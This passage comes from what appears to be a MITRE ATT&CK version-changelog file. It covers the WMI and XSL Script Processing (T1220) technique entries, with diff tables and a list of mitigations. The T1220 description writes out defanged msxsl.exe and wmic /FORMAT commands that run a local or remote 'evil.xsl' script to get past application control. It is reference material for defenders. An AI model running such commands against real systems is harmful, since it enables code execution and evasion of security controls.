class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;System&nbsp;Recovery](https://attack.mitre.org/techniques/T1490)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)).(Citation:&nbsp;WMI&nbsp;6)&nbsp;&nbsp;**Note:**&nbsp;`wmic.exe`&nbsp;is&nbsp;deprecated&nbsp;as&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).(Citation:&nbsp;WMI&nbsp;6)&nbsp;&nbsp;**Note:**&nbsp;`wmic.exe`&nbsp;is&nbsp;deprecated&nbsp;as&nbsp;o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">of&nbsp;January&nbsp;of&nbsp;2024,&nbsp;with&nbsp;the&nbsp;WMIC&nbsp;feature&nbsp;being&nbsp;\u201cdisabled&nbsp;by</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">f&nbsp;January&nbsp;of&nbsp;2024,&nbsp;with&nbsp;the&nbsp;WMIC&nbsp;feature&nbsp;being&nbsp;\u201cdisabled&nbsp;by&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;default\u201d&nbsp;on&nbsp;Windows&nbsp;11+.&nbsp;WMIC&nbsp;will&nbsp;be&nbsp;removed&nbsp;from&nbsp;subseque</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">default\u201d&nbsp;on&nbsp;Windows&nbsp;11+.&nbsp;WMIC&nbsp;will&nbsp;be&nbsp;removed&nbsp;from&nbsp;subsequen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nt&nbsp;Windows&nbsp;releases&nbsp;and&nbsp;replaced&nbsp;by&nbsp;[PowerShell](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;Windows&nbsp;releases&nbsp;and&nbsp;replaced&nbsp;by&nbsp;[PowerShell](https://atta</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1059/001)&nbsp;as&nbsp;the&nbsp;primary&nbsp;WMI&nbsp;inter</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ck.mitre.org/techniques/T1059/001)&nbsp;as&nbsp;the&nbsp;primary&nbsp;WMI&nbsp;interf</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">face.(Citation:&nbsp;WMI&nbsp;7,8)&nbsp;In&nbsp;addition&nbsp;to&nbsp;PowerShell&nbsp;and&nbsp;tools</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace.(Citation:&nbsp;WMI&nbsp;7,8)&nbsp;In&nbsp;addition&nbsp;to&nbsp;PowerShell&nbsp;and&nbsp;tools&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;like&nbsp;`wbemtool.exe`,&nbsp;COM&nbsp;APIs&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;programma</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">like&nbsp;`wbemtool.exe`,&nbsp;COM&nbsp;APIs&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;programmat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tically&nbsp;interact&nbsp;with&nbsp;WMI&nbsp;via&nbsp;C++,&nbsp;.NET,&nbsp;VBScript,&nbsp;etc.(Cita</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ically&nbsp;interact&nbsp;with&nbsp;WMI&nbsp;via&nbsp;C++,&nbsp;.NET,&nbsp;VBScript,&nbsp;etc.(Citat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion:&nbsp;WMI&nbsp;7,8)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ion:&nbsp;WMI&nbsp;7,8)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1026: Privileged Account Management",
                            "M1038: Execution Prevention",
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0364: Behavioral Detection Strategy for WMI Execution Abuse on Windows"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2018-10-17 00:14:20.652000+00:00",
                    "modified": "2026-11-04 00:46:01.746000+00:00",
                    "name": "XSL Script Processing",
                    "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.(Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.(Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1220",
                            "external_id": "T1220"
                        },
                        {
                            "source_name": "Reaqta MSXSL Spearphishing MAR 2018",
                            "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
                            "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
                        },
                        {
                            "source_name": "LOLBAS Wmic",
                            "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
                            "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
                        },
                        {
                            "source_name": "Microsoft msxsl.exe",
                            "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
                            "url": "https://web.archive.org/web/20190508171106/https://www.microsoft.com/en-us/download/details.aspx?id=21714"
                        },
                        {
                            "source_name": "Penetration Testing Lab MSXSL July 2017",
                            "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
                            "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
                        },
                        {
                            "source_name": "XSL Bypass Mar 2019",
                            "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
                            "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
                        },
                        {
                            "source_name": "Microsoft XSLT Script Mar 2017",
                            "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.",
                            "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Avneet Singh",
                        "Casey Smith",
                        "Praetorian"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:46:01.746000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.(Citation: Microsoft XSLT Script Mar 2017)\\n\\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.(Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\\n\\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\\n\\nAnother variation of this technique, dubbed \\u201cSquiblytwo\\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \\\"Squiblydoo\\\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\\n\\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\\n* Remote File: <code>wmic os get /FORMAT:\\u201dhttps[:]//example[.]com/evil[.]xsl\\u201d</code>\", \"old_value\": \"Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\\n\\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\\n\\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\\n\\nAnother variation of this technique, dubbed \\u201cSquiblytwo\\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \\\"Squiblydoo\\\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\\n\\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\\n\\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\\n* Remote File: <code>wmic os get /FORMAT:\\u201dhttps[:]//example[.]com/evil[.]xsl\\u201d</code>\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\\n+Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages.(Citation: Microsoft XSLT Script Mar 2017)\\n \\n-Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n+Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe)(Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files.(Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files.(Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\\n \\n Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to132__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to132__0\"><a href=\"#difflib_chg_to132__top\">t</a></td><td class=\"diff_header\" id=\"from132_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;bypass&nbsp;application&nbsp;control&nbsp;and&nbsp;obscure&nbsp;execu</td><td class=\"diff_next\"><a href=\"#difflib_chg_to132__top\">t</a></td><td class=\"diff_header\" id=\"to132_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;bypass&nbsp;application&nbsp;control&nbsp;and&nbsp;obscure&nbsp;execu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;of&nbsp;code&nbsp;by&nbsp;embedding&nbsp;scripts&nbsp;inside&nbsp;XSL&nbsp;files.&nbsp;Extensib</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;of&nbsp;code&nbsp;by&nbsp;embedding&nbsp;scripts&nbsp;inside&nbsp;XSL&nbsp;files.&nbsp;Extensib</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Stylesheet&nbsp;Language&nbsp;(XSL)&nbsp;files&nbsp;are&nbsp;commonly&nbsp;used&nbsp;to&nbsp;desc</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">le&nbsp;Stylesheet&nbsp;Language&nbsp;(XSL)&nbsp;files&nbsp;are&nbsp;commonly&nbsp;used&nbsp;to&nbsp;desc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ribe&nbsp;the&nbsp;processing&nbsp;and&nbsp;rendering&nbsp;of&nbsp;data&nbsp;within&nbsp;XML&nbsp;files.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ribe&nbsp;the&nbsp;processing&nbsp;and&nbsp;rendering&nbsp;of&nbsp;data&nbsp;within&nbsp;XML&nbsp;files.&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">To&nbsp;support&nbsp;complex&nbsp;operations,&nbsp;the&nbsp;XSL&nbsp;standard&nbsp;includes&nbsp;sup</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">To&nbsp;support&nbsp;complex&nbsp;operations,&nbsp;the&nbsp;XSL&nbsp;standard&nbsp;includes&nbsp;sup</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">port&nbsp;for&nbsp;embedded&nbsp;scripting&nbsp;in&nbsp;various&nbsp;languages.<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">port&nbsp;for&nbsp;embedded&nbsp;scripting&nbsp;in&nbsp;various&nbsp;languages.(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Microsoft&nbsp;XSLT&nbsp;Script&nbsp;Mar&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;this</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Microsoft&nbsp;XSLT&nbsp;Script&nbsp;Mar&nbsp;2017)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;abuse&nbsp;this&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;functionality&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;files&nbsp;while&nbsp;potentially&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">functionality&nbsp;to&nbsp;execute&nbsp;arbitrary&nbsp;files&nbsp;while&nbsp;potentially&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">bypassing&nbsp;application&nbsp;control.&nbsp;Similar&nbsp;to&nbsp;[Trusted&nbsp;Developer</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ypassing&nbsp;application&nbsp;control.&nbsp;Similar&nbsp;to&nbsp;[Trusted&nbsp;Developer&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Utilities&nbsp;Proxy&nbsp;Execution](https://attack.mitre.org/techniq</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Utilities&nbsp;Proxy&nbsp;Execution](https://attack.mitre.org/techniqu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues/T1127),&nbsp;the&nbsp;Microsoft&nbsp;common&nbsp;line&nbsp;transformation&nbsp;utility</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es/T1127),&nbsp;the&nbsp;Microsoft&nbsp;common&nbsp;line&nbsp;transformation&nbsp;utility&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;binary&nbsp;(msxsl.exe)<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Microsoft&nbsp;msxsl.exe)&nbsp;can&nbsp;be&nbsp;i</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">binary&nbsp;(msxsl.exe)(Citation:&nbsp;Microsoft&nbsp;msxsl.exe)&nbsp;can&nbsp;be&nbsp;ins</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nstalled&nbsp;and&nbsp;used&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;JavaScript&nbsp;embedded&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">talled&nbsp;and&nbsp;used&nbsp;to&nbsp;execute&nbsp;malicious&nbsp;JavaScript&nbsp;embedded&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithin&nbsp;local&nbsp;or&nbsp;remote&nbsp;(URL&nbsp;referenced)&nbsp;XSL&nbsp;files.<span class=\"diff_sub\">&nbsp;</span>(Citation:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hin&nbsp;local&nbsp;or&nbsp;remote&nbsp;(URL&nbsp;referenced)&nbsp;XSL&nbsp;files.(Citation:&nbsp;Pe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Penetration&nbsp;Testing&nbsp;Lab&nbsp;MSXSL&nbsp;July&nbsp;2017)&nbsp;Since&nbsp;msxsl.exe&nbsp;is</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">netration&nbsp;Testing&nbsp;Lab&nbsp;MSXSL&nbsp;July&nbsp;2017)&nbsp;Since&nbsp;msxsl.exe&nbsp;is&nbsp;no</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;not&nbsp;installed&nbsp;by&nbsp;default,&nbsp;an&nbsp;adversary&nbsp;will&nbsp;likely&nbsp;need&nbsp;to&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;installed&nbsp;by&nbsp;default,&nbsp;an&nbsp;adversary&nbsp;will&nbsp;likely&nbsp;need&nbsp;to&nbsp;pac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">package&nbsp;it&nbsp;with&nbsp;dropped&nbsp;files.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Reaqta&nbsp;MSXSL&nbsp;Spear</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kage&nbsp;it&nbsp;with&nbsp;dropped&nbsp;files.(Citation:&nbsp;Reaqta&nbsp;MSXSL&nbsp;Spearphis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">phishing&nbsp;MAR&nbsp;2018)&nbsp;Msxsl.exe&nbsp;takes&nbsp;two&nbsp;main&nbsp;arguments,&nbsp;an&nbsp;XM</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hing&nbsp;MAR&nbsp;2018)&nbsp;Msxsl.exe&nbsp;takes&nbsp;two&nbsp;main&nbsp;arguments,&nbsp;an&nbsp;XML&nbsp;so</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">L&nbsp;source&nbsp;file&nbsp;and&nbsp;an&nbsp;XSL&nbsp;stylesheet.&nbsp;Since&nbsp;the&nbsp;XSL&nbsp;file&nbsp;is&nbsp;v</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urce&nbsp;file&nbsp;and&nbsp;an&nbsp;XSL&nbsp;stylesheet.&nbsp;Since&nbsp;the&nbsp;XSL&nbsp;file&nbsp;is&nbsp;valid</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alid&nbsp;XML,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;call&nbsp;the&nbsp;same&nbsp;XSL&nbsp;file&nbsp;twice.&nbsp;Wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;XML,&nbsp;the&nbsp;adversary&nbsp;may&nbsp;call&nbsp;the&nbsp;same&nbsp;XSL&nbsp;file&nbsp;twice.&nbsp;When&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">en&nbsp;using&nbsp;msxsl.exe&nbsp;adversaries&nbsp;may&nbsp;also&nbsp;give&nbsp;the&nbsp;XML/XSL&nbsp;fil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">sing&nbsp;msxsl.exe&nbsp;adversaries&nbsp;may&nbsp;also&nbsp;give&nbsp;the&nbsp;XML/XSL&nbsp;files&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;an&nbsp;arbitrary&nbsp;file&nbsp;extension.(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;201</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;arbitrary&nbsp;file&nbsp;extension.(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">9)&nbsp;&nbsp;Command-line&nbsp;examples:(Citation:&nbsp;Penetration&nbsp;Testing&nbsp;Lab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Command-line&nbsp;examples:(Citation:&nbsp;Penetration&nbsp;Testing&nbsp;Lab&nbsp;MSX</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;MSXSL&nbsp;July&nbsp;2017)(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)&nbsp;&nbsp;*&nbsp;&lt;code&gt;ms</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SL&nbsp;July&nbsp;2017)(Citation:&nbsp;XSL&nbsp;Bypass&nbsp;Mar&nbsp;2019)&nbsp;&nbsp;*&nbsp;&lt;code&gt;msxsl.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xsl.exe&nbsp;customers[.]xml&nbsp;script[.]xsl&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;msxsl.ex</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">exe&nbsp;customers[.]xml&nbsp;script[.]xsl&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;msxsl.exe&nbsp;sc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 